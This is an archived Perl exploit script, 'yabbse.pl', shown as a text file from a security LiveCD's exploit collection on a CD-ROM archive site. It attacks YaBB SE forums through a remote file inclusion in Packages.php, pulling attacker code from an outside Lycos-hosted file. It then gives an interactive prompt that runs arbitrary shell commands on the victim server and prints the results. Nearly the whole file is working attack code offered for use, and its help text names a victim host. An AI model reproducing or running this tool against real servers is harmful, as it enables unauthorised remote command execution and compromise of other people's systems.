home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / cpanel / yabbse.pl < prev   
Text File  |  2005-02-12  |  4KB  |  175 lines

  1. #####################################################
  2. # yabbse.pl exploit
  3. # Spawn bash style Shell on Apache CPANEL
  4. #
  5. # Spabam 2003 PRIV8 code
  6. #
  7. # spax@zone-h.org
  8. # This Script is currently under development
  9. #####################################################
  10. use strict;
  11. use IO::Socket;
  12. my $host;
  13. my $port;
  14. my $command;
  15. my $url;
  16. my @results;
  17. my $probe;
  18. my @U;
  19. my $shit;
  20. $U[1] = "/Sources/Packages.php?sourcedir=http://utenti.lycos.it/z00/xpl.gif&cmd=";
  21. &intro;
  22. &scan;
  23. &choose;
  24. &command;
  25. &exit;
  26. sub intro {
  27. &help;
  28. &host;
  29. &server;
  30. sleep 3;
  31. };
  32. sub host {
  33. print "\nHost or IP : ";
  34. $host=<STDIN>;
  35. chomp $host;
  36. if ($host eq ""){$host="127.0.0.1"};
  37. $shit="|";
  38. $port="80";
  39. chomp $port;
  40. if ($port =~/\D/ ){$port="80"};
  41. if ($port eq "" ) {$port = "80"};
  42. };
  43. sub server {
  44. my $X;
  45. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  46. $probe = "string";
  47. my $output;
  48. my $webserver = "something";
  49. &connect;
  50. for ($X=0; $X<=10; $X++){
  51.     $output = $results[$X];
  52.     if (defined $output){
  53.     if ($output =~/Apache/){ $webserver = "Apache" };
  54.     };
  55. };
  56. if ($webserver ne "Apache"){
  57. my $choice = "y";
  58. chomp $choice;
  59. if ($choice =~/N/i) {&exit};
  60.             }else{
  61. print "\n\nOK";
  62.     };        
  63. };  
  64. sub scan {
  65. my $status = "not_vulnerable";
  66. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  67. my $loop;
  68. my $output;
  69. my $flag;
  70. $command="dir";
  71. for ($loop=1; $loop < @U; $loop++) { 
  72. $flag = "0";
  73. $url = $U[$loop];
  74. $probe = "scan";
  75. &connect;
  76. foreach $output (@results){
  77. if ($output =~ /Directory/) {
  78.                               $flag = "1";
  79.                   $status = "vulnerable";
  80.                   };
  81.     };
  82. if ($flag eq "0") {
  83. }else{
  84. print "\a\a\a\n$host VULNERABLE TO URL $loop !!!";
  85.      };
  86. };
  87. if ($status eq "not_vulnerable"){
  88.  
  89.                 };
  90. };
  91. sub choose {
  92. my $choice="0";
  93. chomp $choice;
  94. if ($choice > @U){ &choose };
  95. if ($choice =~/\D/g ){ &choose };
  96. if ($choice == 0){ &other };
  97. $url = $U[$choice];
  98. };
  99. sub other {
  100. my $other = "/Sources/Packages.php?sourcedir=http://utenti.lycos.it/z00/xpl.gif&cmd=";
  101. chomp $other;
  102. $U[0] = $other;
  103. };
  104. sub command {
  105. while ($command !~/quit/i) {
  106. print "\n[$host]\$ ";
  107. $command = <STDIN>;
  108. chomp $command;
  109. if ($command =~/quit/i) { &exit };
  110. if ($command =~/url/i) { &choose }; 
  111. if ($command =~/scan/i) { &scan };
  112. if ($command =~/help/i) { &help };
  113. $command =~ s/\s/+/g; 
  114. $probe = "command";
  115. if ($command !~/quit|url|scan|help/) {&connect};
  116. };
  117. &exit;
  118. };  
  119. sub connect {
  120. my $connection = IO::Socket::INET->new (
  121.                 Proto => "tcp",
  122.                 PeerAddr => "$host",
  123.                 PeerPort => "$port",
  124.                 ) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
  125. $connection -> autoflush(1);
  126. if ($probe =~/command|scan/){
  127. print $connection "GET $url$command$shit HTTP/1.0\r\n\r\n";
  128. }elsif ($probe =~/string/) {
  129. print $connection "HEAD / HTTP/1.0\r\n\r\n";
  130. };
  131.  
  132. while ( <$connection> ) { 
  133.             @results = <$connection>;
  134.              };
  135. close $connection;
  136. if ($probe eq "command"){ &output };
  137. if ($probe eq "string"){ &output };
  138. };  
  139. sub output{
  140. my $display;
  141. if ($probe eq "string") {
  142.             my $X;
  143.             for ($X=0; $X<=10; $X++) {
  144.             $display = $results[$X];
  145.             if (defined $display){print "$display";};
  146.             sleep 1;
  147.                 };
  148.             }else{
  149.             foreach $display (@results){
  150.                 print "$display";
  151.                 sleep 1;
  152.                 };
  153.                           };
  154. };  
  155. sub exit{
  156. print "\n\n\n
  157. SPABAM 2003.";
  158. print "\nspabam.tk spax\@zone-h.org";
  159. print "\n\n\n";
  160. exit;
  161. };
  162. sub help {
  163. print "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n";
  164. print "\n
  165.         yabbSE.pl v0.1 by SPABAM spax 2003";
  166. print "\n
  167. ";
  168. print "\n A YABBSE FORUM EXPLOIT WHICH SPAWN A BASH STYLE SHELL";
  169. print "\n
  170. note.. web directory is normally /var/www/html";
  171. print "\n";
  172. print "\n Host: www.victim.com or xxx.xxx.xxx.xxx (RETURN for 127.0.0.1)";
  173. print "\n\n\n\n\n\n\n\n\n\n\n\n";
  174. };
  175.